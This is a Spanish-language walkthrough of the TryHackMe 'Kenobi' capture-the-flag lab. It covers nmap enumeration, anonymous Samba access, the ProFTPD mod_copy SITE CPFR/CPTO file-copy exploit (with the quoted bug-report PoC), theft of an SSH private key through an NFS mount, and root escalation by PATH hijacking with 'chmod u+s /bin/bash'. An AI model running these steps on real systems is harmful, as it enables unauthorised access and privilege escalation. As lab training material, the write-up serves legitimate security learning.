Tryhackme Kenobi

Nmap

Ahora hacemos un reconocimiento con nmap para detectar que puertos estan abiertos en el host.

-sS: Indica a Nmap que realice un escaneo de tipo SYN, también conocido como "escaneo stealth". 

-Pn: Esta opción indica a Nmap que ignore la detección de host y realice el escaneo de todas formas. 

-n: Indica a Nmap que no realice la resolución de nombres DNS. Esto acelera el escaneo.

--open: Esta opción muestra solo los puertos que están abiertos.

-vvv: Habilita la salida detallada y verbosa de Nmap.

--min-rate 500: Establece la tasa mínima de envío de paquetes a 500 por segundo. Esto ayuda a acelerar el escaneo al aumentar la velocidad.

# Nmap 7.93 scan initiated Sat Jul 29 23:02:18 2023 as: nmap -sCV -p21,22,80,111,139,445,2049 -oN taget.txt 10.10.102.103
Nmap scan report for 10.10.102.103
Host is up (0.063s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3ad834149e95d168d3b0f057be2c0ae (RSA)
|   256 f8277d642997e6f865546522f7c81d8a (ECDSA)
|_  256 5a06edebb6567e4c01ddeabcbafa3379 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      36369/tcp   mountd
|   100005  1,2,3      40681/udp   mountd
|   100005  1,2,3      43842/udp6  mountd
|   100005  1,2,3      52273/tcp6  mountd
|   100021  1,3,4      42561/tcp   nlockmgr
|   100021  1,3,4      42643/udp   nlockmgr
|   100021  1,3,4      44191/tcp6  nlockmgr
|   100021  1,3,4      56149/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m12s, deviation: 2h53m12s, median: 12s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2023-07-29T16:02:43-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-07-29T21:02:43
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 29 23:02:33 2023 -- 1 IP address (1 host up) scanned in 15.35 seconds

Ahora lanzamos una nmap para ver que versiones y servicios corren para estos puertos que encontramos abiertos.

En el escaneo de Nmap observamos que tenemos el puerto 111 abierto , donde se ejecutaba el servicio rpcbind , es un servidor que convierte el numero de programa de llamada a procedimiento remoto en direcciones universales

Samba

Vamos a intentar verificar los recursos compartidos de samba mediante anonymous , para ello vamos a utilizar la herramienta smbclient

Observamos que logramos entrar y tenemos un archivo el cual nos lo descargamos a local para observar que nos dice.

log.txt

Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName			"ProFTPD Default Installation"
ServerType			standalone
DefaultServer			on

# Port 21 is the standard FTP port.
Port				21

# Don't use IPv6 support by default.
UseIPv6				off

# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask				022

# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances			30

# Set the user and group under which the server will run.
User				kenobi
Group				kenobi

# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~

# Normally, we want files to be overwriteable.
AllowOverwrite		on

# Bar use of SITE CHMOD by default
<Limit SITE_CHMOD>
  DenyAll
</Limit>

# A basic anonymous configuration, no upload directories.  If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
  User				ftp
  Group				ftp

  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias			anonymous ftp

  # Limit the maximum number of anonymous logins
  MaxClients			10

  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin			welcome.msg
  DisplayChdir			.message

  # Limit WRITE everywhere in the anonymous chroot
  <Limit WRITE>
    DenyAll
  </Limit>
</Anonymous>
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which 
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
#  - When such options are commented with ";", the proposed setting
#    differs from the default Samba behaviour
#  - When commented with "#", the proposed setting is the default
#    behaviour of Samba but the option is considered important
#    enough to be mentioned here
#
# NOTE: Whenever you modify this file you should run the command
# "testparm" to check that you have not made any basic syntactic 
# errors. 

#======================= Global Settings =======================

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of
   workgroup = WORKGROUP

# server string is the equivalent of the NT Description field
	server string = %h server (Samba, Ubuntu)

# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable its WINS Server
#   wins support = no

# WINS Server - Tells the NMBD components of Samba to be a WINS Client
# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both
;   wins server = w.x.y.z

# This will prevent nmbd to search for NetBIOS names through DNS.
   dns proxy = no

#### Networking ####

# The specific set of interfaces / networks to bind to
# This can be either the interface name or an IP address/netmask;
# interface names are normally preferred
;   interfaces = 127.0.0.0/8 eth0

# Only bind to the named interfaces and/or networks; you must use the
# 'interfaces' option above to use this.
# It is recommended that you enable this feature if your Samba machine is
# not protected by a firewall or is a firewall itself.  However, this
# option cannot handle dynamic or non-broadcast interfaces correctly.
;   bind interfaces only = yes



#### Debugging/Accounting ####

# This tells Samba to use a separate log file for each machine
# that connects
   log file = /var/log/samba/log.%m

# Cap the size of the individual log files (in KiB).
   max log size = 1000

# If you want Samba to only log through syslog then set the following
# parameter to 'yes'.
#   syslog only = no

# We want Samba to log a minimum amount of information to syslog. Everything
# should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to log
# through syslog you should set the following parameter to something higher.
   syslog = 0

# Do something sensible when Samba crashes: mail the admin a backtrace
   panic action = /usr/share/samba/panic-action %d


####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible
# values are "standalone server", "member server", "classic primary
# domain controller", "classic backup domain controller", "active
# directory domain controller". 
#
# Most people will want "standalone sever" or "member server".
# Running as "active directory domain controller" will require first
# running "samba-tool domain provision" to wipe databases and create a
# new domain.
   server role = standalone server

# If you are using encrypted passwords, Samba will need to know what
# password database type you are using.  
   passdb backend = tdbsam

   obey pam restrictions = yes

# This boolean parameter controls whether Samba attempts to sync the Unix
# password with the SMB password when the encrypted SMB password in the
# passdb is changed.
   unix password sync = yes

# For Unix password sync to work on a Debian GNU/Linux system, the following
# parameters must be set (thanks to Ian Kahan <<[e-mail]> for
# sending the correct chat script for the passwd program in Debian Sarge).
   passwd program = /usr/bin/passwd %u
   passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .

# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in
# 'passwd program'. The default is 'no'.
   pam password change = yes

# This option controls how unsuccessful authentication attempts are mapped
# to anonymous connections
   map to guest = bad user

########## Domains ###########

#
# The following settings only takes effect if 'server role = primary
# classic domain controller', 'server role = backup domain controller'
# or 'domain logons' is set 
#

# It specifies the location of the user's
# profile directory from the client point of view) The following
# required a [profiles] share to be setup on the samba server (see
# below)
;   logon path = \\%N\profiles\%U
# Another common choice is storing the profile in the user's home directory
# (this is Samba's default)
#   logon path = \\%N\%U\profile

# The following setting only takes effect if 'domain logons' is set
# It specifies the location of a user's home directory (from the client
# point of view)
;   logon drive = H:
#   logon home = \\%N\%U

# The following setting only takes effect if 'domain logons' is set
# It specifies the script to run during logon. The script must be stored
# in the [netlogon] share
# NOTE: Must be store in 'DOS' file format convention
;   logon script = logon.cmd

# This allows Unix users to be created on the domain controller via the SAMR
# RPC pipe.  The example command creates a user account with a disabled Unix
# password; please adapt to your needs
; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u

# This allows machine accounts to be created on the domain controller via the 
# SAMR RPC pipe.  
# The following assumes a "machines" group exists on the system
; add machine script  = /usr/sbin/useradd -g machines -c "%u machine account" -d /var/lib/samba -s /bin/false %u

# This allows Unix groups to be created on the domain controller via the SAMR
# RPC pipe.  
; add group script = /usr/sbin/addgroup --force-badname %g

############ Misc ############

# Using the following line enables you to customise your configuration
# on a per machine basis. The %m gets replaced with the netbios name
# of the machine that is connecting
;   include = /home/samba/etc/smb.conf.%m

# Some defaults for winbind (make sure you're not using the ranges
# for something else.)
;   idmap uid = 10000-20000
;   idmap gid = 10000-20000
;   template shell = /bin/bash

# Setup usershare options to enable non-root users to share folders
# with the net usershare command.

# Maximum number of usershare. 0 (default) means that usershare is disabled.
;   usershare max shares = 100

# Allow users who've been granted usershare privileges to create
# public shares, not just authenticated ones
   usershare allow guests = yes

#======================= Share Definitions =======================

# Un-comment the following (and tweak the other settings below to suit)
# to enable the default home directory shares. This will share each
# user's home directory as \\server\username
;[homes]
;   comment = Home Directories
;   browseable = no

# By default, the home directories are exported read-only. Change the
# next parameter to 'no' if you want to be able to write to them.
;   read only = yes

# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
;   create mask = 0700

# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
;   directory mask = 0700

# By default, \\server\username shares can be connected to by anyone
# with access to the samba server.
# Un-comment the following parameter to make sure that only "username"
# can connect to \\server\username
# This might need tweaking when using external authentication schemes
;   valid users = %S

# Un-comment the following and create the netlogon directory for Domain Logons
# (you need to configure Samba to act as a domain controller too.)
;[netlogon]
;   comment = Network Logon Service
;   path = /home/samba/netlogon
;   guest ok = yes
;   read only = yes

# Un-comment the following and create the profiles directory to store
# users profiles (see the "logon path" option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
;[profiles]
;   comment = Users profiles
;   path = /home/samba/profiles
;   guest ok = no
;   browseable = no
;   create mask = 0600
;   directory mask = 0700

[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700

# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
;   write list = root, @lpadmin
[anonymous]
   path = /home/kenobi/share
   browseable = yes
   read only = yes
   guest ok = yes

Se puede observar que es una key de SSH

Explotacion FTP

Vamos a ver exploits que se van a poder utilizar, el FILE COPY

Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169

Aca tenemos el POC del exploit, nosotros lo adecuaremos a nuestras necesidades.

NC

Vamos ah usar SITE CPFR y el comando SITE CPTO para copiar archivos/directorios de un lugar a otro en el servidor

Tenemos que tener en cuenta que tenemos un fichero llamado log.txt que el servicio ftp se esta ejecutando como el usuario de Kenobi y se genera la clave ssh para ese usuario

Tambien sabemos que tenemos acceso al directorio /var , que podemos montar en nuestro sistema. La clave privada de Kenobi se puede copiar al directorio /var/tmp

Montura

Por lo que vamos a montar el sistema var en un directorio que vamos a crear llamado /mnt/KenobiNFS/

sudo mount 10.10.102.103:/var /mnt/KenobiNFS/

id_rsa

Ahora que tenemos el montaje de red en nuestra maquina , podemos obtener la clave privada que se puede usar para iniciar sesion mediante SSH

Nos la copiamos a nuestra maquina local y le cambiamos los permisos para usarla para loguearnos por ssh usandola.

ssh

Como observamos nos podemos conectar usando la clave id_rsa, obtenemos la primera flag la del usuario.txt, ahora vamos por la segunda la de root.txt.

Observamos que si intentamos ingresar al directorio /root no podemos no tenemos los permisos suficientes, asi que hay que escalar privilegios.

Escalada de privilegios, PATH

Tenemos algo interesante /usr/bin/menu

Al ejecutar el binario , nos da 3 opciones. Las 3 opciones no son muy interesantes , pero usando el comando strings podemos buscar cadenas legibles.

Usando el comando strings podemos observar que por ahi anda curl, ifconfig, lo cual si su ruta no es absoluta y es relativa, podemos hacer un secuestro del PATH

Realizando el siguiente proceso vamos a poder obtener los permisos de administrador

chmod u+s /bin/bash 

Punto uno estando en la ruta /dev/shm y hora si listo mi PATH con el comando echo $PATH me sale la ruta de mi PATH que /usr/local etc,etc

Punto dos sabiendo la ruta del PATH, ahora podriamos exportar el PATH y decirle que su inicio sea en /dev/shm y no como sale en el punto uno que su inicio es /usr/local etc,etc

Ahora vemos mas abajo que si listo mi PATH despues de haberlo exportado, vemos que ahora no inicia desde /usr/local etc si no que inicia desde /dev/shm:/usr/local etc. ya con esto echo nos queda poco por escalar nuestros privilegios

root

Nos ejecutamos el binario ./usr/bin/menu y no vemos nada como cuando lo ejecutamos por primera vez no vemos ese estilo de curl lo que significaria que ejecuto nuestro curl y no el original.

Punto dos hacemos un bash -p para usar la bash y elevar nuestros privilegios y buscar la flag que siempre esta en el directorio /root/root.txt

MAQUINA RESUELTA